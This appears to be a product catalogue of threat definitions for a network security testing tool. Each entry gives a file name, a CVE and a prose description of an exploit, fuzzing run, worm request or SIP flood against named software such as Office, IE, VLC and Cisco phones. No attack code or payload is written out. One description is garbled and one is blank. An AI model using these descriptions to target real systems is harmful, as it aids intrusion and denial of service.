Detailed Description:	A heap buffer overflow vulnerability exists in Microsoft Office. The vulnerability is due to the way Office parses crafted TIFF image files. An attacker can leverage this vulnerability by enticing a target user to open a malicious file. A heap buffer overflow vulnerability exists in Microsoft Office. The vulnerability is due to the way Office parses crafted TIFF image files. An attacker can leverage this vulnerability by enticing a target user to open a malicious file.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2010-3947
OSVDB:	N/A
Threat File Name:	FSC20081003-05_mIRC_PRIVMSG_Message_Processing_Buffer_Overflow.xml
Executive Description:	mIRC PRIVMSG Message Processing Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in mIRC. The flaw is due to insufficient input validation when processing PRIVMSG IRC messages. A remote attacker may exploit this vulnerability by persuading the target user to connect to a malicious IRC server. Successful attack could allow for arbitrary code injection and execution with privileges of the currently logged on user.
Protocol Type:	MIRC
CVEID:	CVE-2008-4449
Threat Package:	Standard
Threat File Name:	TSL20110614-15_Microsoft_Office_Excel_BIFF_Out-of-Bounds_Access.xml
Executive Description:	Microsoft Office Excel BIFF Out-of-Bounds Access
Detailed Description:	A code execution vulnerability exists in Microsoft Office Excel. The vulnerability is due to out-of-bounds array access leading to memory corruption while handling specially crafted Excel files.. Remote attackers can exploit this vulnerability by enticing target users to open a malicious Excel file, potentially causing arbitrary code to be injected and executed in the security context of the currently logged on user. In an attack scenario where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not successful, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
Threat File Name:	FSC20110203-09_VideoLAN_VLC_Media_Player_Subtitle_StripTags_Heap_Buffer_Overflow.xml
Executive Description:	VideoLAN VLC Media Player Subtitle StripTags Heap Buffer Overflow
Detailed Description:	A code execution vulnerability exists in VLC Media Player. The vulnerability is due to insufficient input validation in the StripTags() function when processing strings with an opening "<" without the terminating ">". An attacker can exploit this vulnerability by enticing a user to open a specially crafted Matroska file with an affected version of VLC Media Player. In attack scenarios where code execution is successful the behaviour of the target machine is dependent entirely on the logic of the injected code, which will run within the security context of the target user. When code execution is not successful the affected application may terminate abnormally.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS,NFS
CVEID:	CVE-2011-0522
Threat File Name:	bbace_rfi_IPv6.xml
Executive Description:	BBaCE Functions.php Remote File Inclusion Vulnerability (IPv6 Version)

Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. BBaCE is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	phplive_rfi_IPv6.xml
Executive Description:	PHP Live Css_Path Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP query containing the path for a remote malicious PHP file to include in the returned page and executed in the context of the webserver process .PHP Live! is an web application that typically listens on port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6
OSVDB:	27448
Threat Package:	Standard
Threat File Name:	lupper15_IPv6.xml
Executive Description:	Lupper Worm 15 (IPv6 Version)
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard
Threat File Name:	nocc_cmi_b.xml
Executive Description:	NOCC Arbitrary Local File Inclusion \ Command Execution Vulnerability, themes field
Detailed Description:	This threat sends an HTTP query containing a path for a local (to the server) file to be included in the servers output. NOCC is a web application which typically listens on port 80.
Protocol Type:	HTTP
Threat File Name:	TSL20120612-26_Microsoft_XML_Core_Services_Uninitialized_Object_Access_IPv6.xml
Executive Description:	Microsoft XML Core Services Uninitialized Object Access(IPv6)
Detailed Description:	A memory corruption vulnerability exists in Microsoft XML Core Services. The vulnerability is due to an error when attempting to access an object in memory that has not been initialized. By enticing a target user to visit a malicious website, a remote attacker can cause memory corruption and execute arbitrary code on a target system within the security context of the currently logged-on user.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2012-1889
OSVDB:	82873
Threat File Name:	fuzz-HTTP_AppendformatsToPOST.xml
Executive Description:	Fuzz HTTP with POST appended by %s
Detailed Description:	Fuzzes the Method field appending by %s
Protocol Type:	HTTP
Threat Package:	Fuzzing
Threat File Name:	tftpd_rfs_IPv6.xml
Executive Description:	Tftpd32 SEND / GET Remote Format String Vulnerability (IPv6 Version)
Detailed Description:	This threat exploits a remote format string vulnerability in Tftpd32 that can be triggered when the server uses the filename passed in TFTP requests to construct an error message. With a specially crafted filename, an attacker can cause arbitrary code execution, resulting in a loss of integrity. TFTPd is a internet application that usually listens on udp port 69 (IPv6 Version)
Protocol Type:	TFTP/IPv6
CVEID:	CVE-2006-0328
OSVDB:	22661
Threat Package:	Standard
Threat File Name:	mambo_flatmenu_rfi_IPv6.xml
Executive Description:	Mambo 4.5.1 Modules Flatmenu <= 1.07 Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string containing a path to an arbitrary script file which is included by the server and executed on the affected server. Flatmenu is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-1702
Threat Package:	Standard
Threat File Name:	nimda4.xml
Executive Description:	Nimda Request URL 4
Detailed Description:	This threat issues out a request URL in the same format as the Nimda worm, looking for vulnerable machines.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20081209-10_Microsoft_Word_dppolycount_RTF_Control_Word_Handling_Integer_Overflow.xml
Executive Description:	Microsoft Word dppolycount RTF Control Word Handling Integer Overflow
Detailed Description:	A integer overflow vulnerability exists in the way Microsoft Word process Rich Text Format (RTF) files. The vulnerability is due to an integer overflow while parsing a large number of points for a polygon or polyline drawing object inside a malicious RTF file. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted RTF file or an RTF formatted email using the affected applications, a successful exploitation can lead to arbitrary code execution within the security context of the affected user. An attack targeting this vulnerability can result in the injection and execution of code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any code injected will be executed within the security context of the currently logged in user. In the case of an unsuccessful code execution attack, affected product will terminate resulting in the loss of any unsaved data from the current session.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2008-4025
Threat Package:	Standard

Threat File Name:	sipmultiplefrom.xml
Executive Description:	SIP Multiple From: Headers
Detailed Description:	This threat sends out a SIP INVITE message with multiple From: headers. This may confuse or crash a PBX that isn't very robust.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	wiclear_rfi.xml
Executive Description:	wiclear v0.10 Remote File Inclusion Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. WiClear is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-5506
Threat Package:	Standard
Threat File Name:	nimdal.xml
Executive Description:	Nimda Request URL 1
Detailed Description:	This threat issues out a request URL in the same format as the Nimda worm, looking for vulnerable machines.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20170406-03_Trend_Micro_Smart_Protection_Server_wcs_bwlists_handler.php_Command_Injection_IPv6.xml
Executive Description:	Trend Micro Smart Protection Server wcs_bwlists_handler.php Command Injection (IPv6 Version)
Detailed Description:	A remote command execution vulnerability exists in the wcs_bwlists_handler.php script of Trend Micro Smart Protection Server. The vulnerability is due to insufficient validation of user-supplied input. A remote, authenticated attacker could exploit this vulnerability by providing crafted input to the vulnerable system. Successful exploitation could lead to arbitrary command execution under the security context of the webserv user.
Protocol Type:	HTTPS,IPv6
Threat File Name:	fuzz-TFTP_RangingSizeOfData_RangingBlockNo.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_RangingSizeOfData_RangingBlockNo.xml
Detailed Description:	Fuzzes data field by putting random string with ranging sizes. OpCode is 03
Protocol Type:	TFTP
Threat Package:	Fuzzing
Threat File Name:	realplayer_parsewallclock_bof.xml
Executive Description:	RealPlayer/HelixPlayer ParseWallClockValue Function Buffer Overflow Vulnerability
Detailed Description:	This threat uses an overly long value in a web page to cause a buffer overflow in the wallclock functionality (SmilTimeValue::parseWallClockValue function) in RealNetworks RealPlayer and HelixPlayer 10.5-GOLD. This threat is delivered via http port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-3410
Threat Package:	Standard
Threat File Name:	sipkeepaliveflood.xml
Executive Description:	SIP Keepalive Flood
Detailed Description:	This threat sends out a flood of SIP keepalive messages. This flood can be used to overwhelm VoIP equipment such as PBXes or phones.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	FSC20090126-07_Sun_Solaris_IPv6_Malformed_Header_Denial_of_Service.xml
Executive Description:	Sun Solaris IPv6 Malformed Header Denial of Service
Detailed Description:	There exists a denial of service vulnerability in the way Sun Microsystems' Solaris handles IPv6 requests. The vulnerability is due to inappropriate calculation when processing malformed IPv6 requests.Remote unauthenticated attackers can exploit this vulnerability by sending specially crafted IPv6 packets to an affected system. Successful exploitation may cause the system to crash. A successful attack will cause the affected system to crash with kernel panic, creating a denial of service condition.
Protocol Type:	IPv6
CVEID:	CVE-2009-0304
Threat Package:	Standard
Threat File Name:	FSC20090609-28_Microsoft_Multiple_Products_Works_File_Converter_WPS_File_Processing_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Multiple Products Works File Converter WPS File Processing Buffer Overflow (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in Microsoft Works File Converter. The vulnerability is due to improper parsing of malformed WPS file format. Remote attackers can exploit this vulnerability by enticing target users to open a malicious WPS file, potentially causing arbitrary code to be injected and executed in the security context of the current user. In an attack scenario where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate as a result of invalid memory access. If unexpected termination of the vulnerable application is the sole result of an attack, there is no impact to the overall operation of the target host. It is, however, possible to lose all unsaved data due to the abnormal termination. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2009-1533
Threat Package:	Standard
Threat File Name:	sipbadversion.xml
Executive Description:	SIPPING: Bad Version (Version Too High)
Detailed Description:	This threat sends out a SIP OPTIONS message with the version set to 7.0. This is invalid according to RFC 3261 (current version is 2.0), so should be rejected. Because it is unexpected, this may confuse or crash a SIP implementation.
Protocol Type:	SIP

Threat Package:	VoIP
Threat File Name:	TSL20130423-05_HP_Intelligent_Management_Center_IctDownloadServlet_Information_Disclosure_IPv6.xml
Executive Description:	HP Intelligent Management Center IctDownloadServlet Information Disclosure (IPv6 Version)
Detailed Description:	An information disclosure vulnerability exists in HP Intelligent Mana lack of authentication and insufficient input validation in the IctDown request parameters. By sending crafted HTTP requests to the target system, a remote vulnerability to view the contents of arbitrary files on a target system.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2012-5204
OSVDB:	91029
Threat File Name:	TSL20110614-34_Microsoft_Internet_Explorer_selection_empty_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Internet Explorer selection.empty Use After Free(IPv6 Version)
Detailed Description:	A User-After-Free vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to improper handling of the selection.empty script expression. Remote attackers can exploit this vulnerability by enticing target users to open a malicious web page using Internet Explorer, potentially causing arbitrary code to be injected and executed in the security context of the currently logged on user. In an attack scenario where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the logic of the malicious code. If such an attack is not successful, Internet Explorer may terminate abnormally.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2011-1261
Threat File Name:	cisco_sip_invite_dos.xml
Executive Description:	Cisco 7940/7960 Phone SIP Invite Remote Denial of Service Vulnerability
Detailed Description:	This threat sends a malicious INVITE message to a Cisco 7940/7960 VoIP Phone causing it to crash. Cisco 7940/7960 Phone uses the SIP protocol and typically listens on udp port 5060.
Protocol Type:	SIP
CVEID:	CVE-2007-1542
Threat Package:	Standard
Threat File Name:	xine_rfs_IPv6.xml
Executive Description:	Xine Filename Handling Remote Format String (IPv6 Version)
Detailed Description:	This threat demonstrates a flaw in the handling of filenames in the Xine media player with a malicious playlist file. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-2230 CVE-2006-2230 CVE-2006-2230
Threat Package:	Standard
Threat File Name:	FSC20040920-01_FreeRADIUS_Unspecified_Denial_of_Service.xml
Executive Description:	FreeRADIUS Unspecified Denial of Service
Detailed Description:	A vulnerability exists in the way the FreeRADIUS software package handles out of sequence messages. When a RADIUS authentication or accounting request is sent out-of-order to a vulnerable FreeRADIUS, a memory exception occurs. This vulnerability may be leveraged by a remote attacker to deny service to the FreeRADIUS server.
Protocol Type:	RADIUS
CVEID:	CVE-2004-0938
Threat Package:	Standard
Threat File Name:	TSL20130108-14_Foxit_Reader_Plugin_for_Firefox_URL_String_Stack_Buffer_Overflow.xml
Executive Description:	Foxit Reader Plugin for Firefox URL String Stack Buffer Overflow
Detailed Description:	A stack buffer overflow vulnerability has been identified in Foxit Reader Plugin for Firefox. The vulnerability is due to a lack of bounds checking in npFoxitReaderPlugin.dll and affects handling of URLs. A remote attacker could exploit this vulnerability by enticing a target user to load a malicious PDF file. Successful exploitation would result in execution of arbitrary attacker code in the security context of the target user.
Protocol Type:	HTTP,HTTPS,SMTP,IMAP,POP3
OSVDB:	89030
Threat File Name:	TSL20121213-01_Adobe_Camera_Raw_Plug-in_TIFF_Image_Processing_Buffer_Underflow_IPv6.xml
Executive Description:	Adobe Camera Raw Plug-in TIFF Image Processing Buffer Underflow(IPV6 Version)
Detailed Description:	A buffer underflow vulnerability has been reported in Adobe Photoshop. The vulnerability is due to an error while parsing LZW data inside TIFF files with the raw plug-in. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to process a maliciously crafted file. This can lead to code execution in the context of the affected user.
Protocol Type:	IPV6,HTTP,HTTPS,SMTP,IMAP,POP3,SMB/CIFS
CVEID:	CVE-2012-5679
Threat File Name:	FSC20060601-04_Microsoft_Internet_Explorer_MHTML_URI_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Internet Explorer MHTML URI Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in the Microsoft Internet Explorer product. The flaw is caused by an improper check of the MHTML URI string. An attacker may exploit this vulnerability to cause a denial of service condition. A code execution attack is not possible as a stack integrity feature is present in the affected application. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-2766
Threat Package:	Standard
Threat File Name:	FSC20040723-01_Samba_SWAT_HTTP_Authentication_Buffer_Overflow_IPv6.xml
Executive Description:	Samba SWAT HTTP Authentication Buffer Overflow (IPv6 Version)

Detailed Description:	There is a vulnerability in the way SWAT, a web-based administration tool for Samba, parses Basic Authentication information. A specially crafted authentication string can cause an integer underflow leading to a heap-based buffer overflow. An attacker can exploit this vulnerability to create a denial of service condition or execute arbitrary code. When the vulnerability is triggered, the Swat process will generate a segmentation fault signal and exits. There is no denial of service condition since inetd will spawn other Swat processes for other requests. This vulnerability is caused by an integer underflow and not by attacker-supplied data. Hence, the data that is overwritten into the heap is not generally under the attacker's control. If the attacker is able to control the data being overwritten into the heap, he/she may be able to execute code on the target system with the privileges of this process, though this would be very difficult. Generally, the default Swat configuration file configures Swat to run as root. The behaviour of the target system, in this case, depends on the injected code. (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-2004-0600
Threat Package:	Standard
Threat File Name:	FSC20040421-01_Microsoft_HSC_URL_RemoteCodeExecution.xml
Executive Description:	Microsoft HSC URL RemoteCodeExecution
Detailed Description:	There is a vulnerability in the way the Microsoft Help and Support Center processes URL strings. The vulnerability could be exploited to run malicious JavaScript code in the security context of "My Computer Zone".
Protocol Type:	HTTP
CVEID:	CVE-2003-0907
Threat Package:	Standard
Threat File Name:	fuzz-HTTP_ReplicateHInHTTP.xml
Executive Description:	Fuzz HTTP-Version with HHHHHHTTP/1.1
Detailed Description:	Fuzzes the HTTP-Version field by replicating the letter H in HTTP between 0 and 1024 times.
Protocol Type:	HTTP
Threat Package:	Fuzzing
Threat File Name:	FSC20090922-02_Mozilla_Firefox_Top-level_Script_Object_Offset_Calculation_Memory_Corruption.xml
Executive Description:	Mozilla Firefox Top-level Script Object Offset Calculation Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Mozilla Firefox web browser. The vulnerability is due to improper calculation of an object offset in a specific case of the top-level script. Remote attackers can exploit this vulnerability by enticing target users to visit a malicious web page. Successful exploitation would cause a memory corruption that may lead to arbitrary code execution in the security context of the logged in user, or terminate the application abnormally.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-3073
Threat Package:	Standard
Threat File Name:	urgentInjection_IPv6.xml
Executive Description:	TCP Injection With Urgent Pointer (IPv6 Version)
Detailed Description:	This threat attempts to inject data into an existing TCP stream. It uses increasing sequence numbers combined with the urgent pointer to increase the probability of success. The payload that is injected is 4 ASCII A's. The user must know the source port, destination port, source IP, and destination IP in order to successfully inject the data. (IPv6 Version)
Protocol Type:	TCP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20100217-05_Adobe_Reader_and_Acrobat_Libtiff_TIFFFetchShortPair_Stack_Buffer_Overflow.xml
Executive Description:	Adobe Reader and Acrobat Libtiff TIFFFetchShortPair Stack Buffer Overflow
Detailed Description:	A stack-based buffer overflow vulnerability exists in Adobe Acrobat and Reader products. The vulnerability is due to a boundary checks error while parsing crafted PDF documents. Remote attackers can exploit this vulnerability by enticing target users to open a malicious PDF document in a vulnerable version of the affected applications. In attack scenarios where code execution is successful the behaviour of the target machine would depend entirely on the intention of the injected code, which would run within the security context of the logged on user. In situations where code execution is not successful, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP/NFS
CVEID:	CVE-2010-0188
Threat Package:	Standard
Threat File Name:	bxcp_sqli_IPv6.xml
Executive Description:	BXCP index.php Input Validation SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted query containing an SQL statement which is executed by the server with it permissions. BXCP is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat File Name:	hp_mqc_activex_bof_IPv6.xml
Executive Description:	HP Mercury Quality Center ActiveX Control Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat leverages a stack overflow in HP Mercury Quality Center's ActiveX Control. HP Mercury Quality Center is web based interface that can be found listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-1819
Threat Package:	Standard
Threat File Name:	citrix_probe.xml
Executive Description:	Citrix Published Application Scanner
Detailed Description:	This threat sends out a probe for published applications on Citrix Metaframe servers.
Protocol Type:	Proprietary
Threat Package:	Standard
Threat File Name:	TSL20160525-04_Apache_ActiveMQ_Fileserver_File_Upload_Directory_Traversal.xml
Executive Description:	
Detailed Description:	

Protocol Type:	
Threat File Name:	FSC20100810-10_Microsoft_Internet_Explorer_HTML_Layout_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer HTML Layout Memory Corruption
Detailed Description:	<p>A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due an error in the handling of certain objects. A remote attacker can exploit this vulnerability by enticing a target user to open a maliciously crafted HTML document.</p> <p>In a sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.</p>
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2010-2560
Threat Package:	Standard
Threat File Name:	ms04-040.xml
Executive Description:	MS04-040 Internet Explorer IFRAME Attack
Detailed Description:	This threat attacks a buffer overflow in Internet Explorer's rendering capabilities of an IFRAME tag. Typically is used by a malicious web page to execute code on client machine. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2004-1050
OSVDB:	11337
Threat Package:	Standard
Threat File Name:	FSC20110208-27_Microsoft_Internet_Explorer_Uninitialized_Object_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer Uninitialized Object Memory Corruption
Detailed Description:	<p>A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to an error when accessing an object that has not been initialized properly. A remote attacker can exploit this vulnerability by enticing a target user to open a maliciously crafted HTML document.</p> <p>In a sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.</p>
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP
CVEID:	CVE-2011-0036
Threat File Name:	TSL20150917-07_Oracle_Endeca_IDI_ETL_Server_UploadFileConent_Directory_Traversal_IPv6.xml
Executive Description:	Oracle Endeca IDI ETL Server UploadFileConent Directory Traversal IPv6 version
Detailed Description:	A directory traversal vulnerability exists in Oracle Endeca Information Discovery Integrator ETL Server. The vulnerability is due to insufficient input validation while processing SOAP requests to the UploadFileConent operation. By sending crafted SOAP requests to the target system, a remote authenticated attacker can leverage this vulnerability to upload arbitrary files to a target system with System privileges which can further lead to arbitrary code execution. Tester should set the variable \$destPort to 8080 before test.
Protocol Type:	HTTP,IPv6
CVEID:	CVE-2015-2602
Threat File Name:	FSC20100510-01_RedHat_JBoss_Enterprise_Application_Platform_JMX_Console_Authentication_Bypass_IPv6.xml
Executive Description:	RedHat JBoss Enterprise Application Platform JMX Console Authentication Bypass (IPv6 Version)
Detailed Description:	An authentication bypass vulnerability has been reported in JBoss Enterprise Application Platform JMX Console application. The vulnerability is caused by the authentication policy within the application that only enforces restrictions for GET and POST methods, other HTTP request verbs bypass authentication. Unauthenticated remote attackers could exploit this vulnerability to gain administrative access to JBoss JMX management console and to upload and execute arbitrary Java code within the security context of the JBoss server process, normally SYSTEM on Windows platforms. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2010-0738
Threat Package:	Standard
Threat File Name:	ms05-021_part2.xml
Executive Description:	MS05-021 Exchange Heap Overflow Part 2
Detailed Description:	This threat attempts to cause a heap overflow on a Microsoft Exchange server. This can be used to execute remote code on the server. This threat targets the SMTP service of exchange which listens on port 25.
Protocol Type:	SMTP
CVEID:	CVE-2005-0560
OSVDB:	15467
Threat Package:	Standard
Threat File Name:	TSL20161213-17_Microsoft_Internet_Explorer_and_Edge_CVE-2016-7202_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer and Edge CVE-2016-7202 Memory Corruption
Detailed Description:	A memory corruption exists in Microsoft Internet Explorer and Edge. This vulnerability is due to improper objects access in memory. A remote attacker could exploit these vulnerabilities by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2016-7202
Threat File Name:	TSL20120131-05_Oracle_Outside_In_JPEG_2000_CRG_Segment_Processing_Heap_Buffer_Overflow_IPv6.xml
Executive Description:	Oracle Outside In JPEG 2000 CRG Segment Processing Heap Buffer Overflow(IPv6 Version)

Detailed Description:	A heap buffer overflow vulnerability exists in Oracle Outside-In, a set of libraries used to decode many file formats. The vulnerability exists when handling the CRG marker segments in JPEG 2000 files. Oracle Outside-In is embedded in many enterprise applications. This vulnerability can be exploited by causing an application that uses the vulnerable library to handle a malformed JPEG 2000 file. Depending on the application, user interaction may be required. Successful exploitation can result in arbitrary code execution in the context of the affected application.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB
CVEID:	CVE-2011-4517
Threat File Name:	FSC20100811-03_Adobe_ColdFusion_Directory_Traversal_IPv6.xml
Executive Description:	Adobe ColdFusion Directory Traversal
Detailed Description:	A directory traversal vulnerability has been reported in Adobe ColdFusion. The vulnerability is due to a design weakness in the ColdFusion administration console which fails to properly sanitize input passed to the admin page. Remote unauthenticated attackers can exploit this vulnerability to retrieve arbitrary files from the target system via directory traversal, including password file for the ColdFusion administration console. With this password file, an attacker can upload and execute arbitrary ColdFusion code within the security context of System.
Protocol Type:	IPV6,HTTP
CVEID:	CVE-2010-2861
Threat File Name:	lupper8.xml
Executive Description:	Lupper Worm 8
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes.
Protocol Type:	HTTP
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard
Threat File Name:	hivemail_cmi_c.xml
Executive Description:	HiveMail Vulnerabilities Remote Command Execution
Detailed Description:	This threat sends a crafted URL containing PHP code which is executed by the server. HiveMail is a web based application which typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-0757
Threat File Name:	TSL20110427-05_Cisco_Unified_Communications_Manager_Multiple_SQL_Injections.xml
Executive Description:	Cisco Unified Communications Manager Multiple SQL Injections
Detailed Description:	Multiple SQL injection vulnerabilities exist within Cisco Unified Communications Manager. These vulnerabilities could be exploited by remote attackers to conduct SQL injection attacks on the server. A remote, unauthenticated attacker can exploit this vulnerability to disclose sensitive information.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2011-1610
Threat File Name:	eIQnetworks_nsa_nullptr.xml
Executive Description:	eIQnetworks Network Security Analyzer Null Pointer Dereference Vulnerability
Detailed Description:	This threat leverages a NULL pointer dereference in the DataCollector service in some versions of eIQnetworks Network Security Analyzer, which will result in a denial of service condition. eIQnetworks Network Security Analyzer eIQnetworks Network Security Analyzer DataCollector service typically listens on port 10618.
Protocol Type:	TCP
CVEID:	CVE-2007-0228
Threat Package:	Standard
Threat File Name:	FSC20060612-05_Mozilla_Firefox_DOMNodeRemoved_Memory_Corruption.xml
Executive Description:	Mozilla Firefox DOMNodeRemoved Memory Corruption
Detailed Description:	A memory corruption vulnerability has been discovered in the Mozilla Firefox product. The flaw concerns document structure changes during a DOMNodeRemoved event. Exploitation of this vulnerability may possibly result in arbitrary code execution on the target user's host.
Protocol Type:	HTTP
CVEID:	CVE-2006-2779
Threat Package:	Standard
Threat File Name:	FSC20080403-08_Apple_QuickTime_PICT_Multiple_Records_Handling_Buffer_Overflow.xml
Executive Description:	Apple QuickTime PICT Multiple Records Handling Buffer Overflow
Detailed Description:	There exists a heap buffer overflow vulnerability in Apple QuickTime application. The vulnerability is due to improper handling of the PICT image file. A remote attacker may exploit this vulnerability by providing a malicious PICT image file to the target user, potentially cause arbitrary code to be injected and executed in the security context of the current user. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the current user. In an attack case where code injection is not successful, the affected Apple QuickTime process will terminate abnormally.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2008-1019
Threat Package:	Standard
Threat File Name:	fuzz-HTTP-DELETE_PrependedHTTPWithformats.xml
Executive Description:	Fuzz HTTP DELETE with Request-URI prepended with %s
Detailed Description:	Fuzzes the Request-URI field by prepending %s
Protocol Type:	HTTP
Threat Package:	Fuzzing
Threat File Name:	TSL20121005-01_Apple_Safari_WebKit_CSS_Title_Memory_Corruption_IPv6.xml
Executive Description:	Apple Safari WebKit CSS Title Memory Corruption(IPv6_Version)

Detailed Description:	A memory corruption vulnerability exists in WebKit, a component of Apple Safari. The vulnerability is due to improper handling of a CSS style for a title element, which can lead to memory corruption. A remote, unauthenticated attacker can exploit this vulnerability by enticing a target user to open an HTML document with Safari. A successful exploitation attempt could result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2012-3684
OSVDB:	85376
Threat File Name:	ms_docfile_dos.xml
Executive Description:	Microsoft Windows OLE32.DLL Word Document Handling Denial Of Service Vulnerability
Detailed Description:	This threat use a web server to deliver a malformed Word .DOC file to a client machine that will cause a denial of service condition when accessed by explorer via mouseover or right clicked for "file properties". This threat uses a web server listening on port 80 as the delivery vector.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20140930-08_ManageEngine_Multiple_Products_multipartRequest_Directory_Traversal.xml
Executive Description:	ManageEngine Multiple Products multipartRequest Directory Traversal
Detailed Description:	A directory traversal vulnerability exists in ManageEngine OpManager, Social IT Plus and IT360. The vulnerability is due to lack of authentication and insufficient input validation on parameters sent to "/servlets/multipartRequest"; in HTTP requests. A remote unauthenticated attacker can delete arbitrary files in arbitrary locations on the server. In a successful attack scenario, the attacker can execute arbitrary code with SYSTEM privileges by placing executable files in critical locations.
Protocol Type:	HTTP
CVEID:	CVE-2014-6036
OSVDB:	112279
Threat File Name:	TSL20160913-19_Microsoft_Windows_Domain_User_Code_Execution.xml
Executive Description:	Microsoft Windows Domain User Code Execution
Detailed Description:	A code execution vulnerability exists in Microsoft Windows. The vulnerability is due to the way objects are handled in memory. A remote attacker with domain credentials can exploit this vulnerability by sending specially crafted requests to the target server. Successful exploitation will allow an attacker to execute arbitrary code with elevated privileges.
Protocol Type:	LDAP, LDAPS
CVEID:	CVE-2016-3368
Threat File Name:	siplowercasemethod_IPv6.xml
Executive Description:	SIP Lowercase Method (IPv6 Version)
Detailed Description:	This threat sends out a SIP INVITE message with "invite" in lowercase letters. Because the method is case-sensitive,this can confuse or crash a PBX that isn't very robust. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	FSC20100608-40_HP_OpenView_NNM_ovutil.dll_getProxiedStorageAddress_Buffer_Overflow_IPv6.xml
Executive Description:	HP OpenView NNM ovutil.dll getProxiedStorageAddress Buffer Overflow
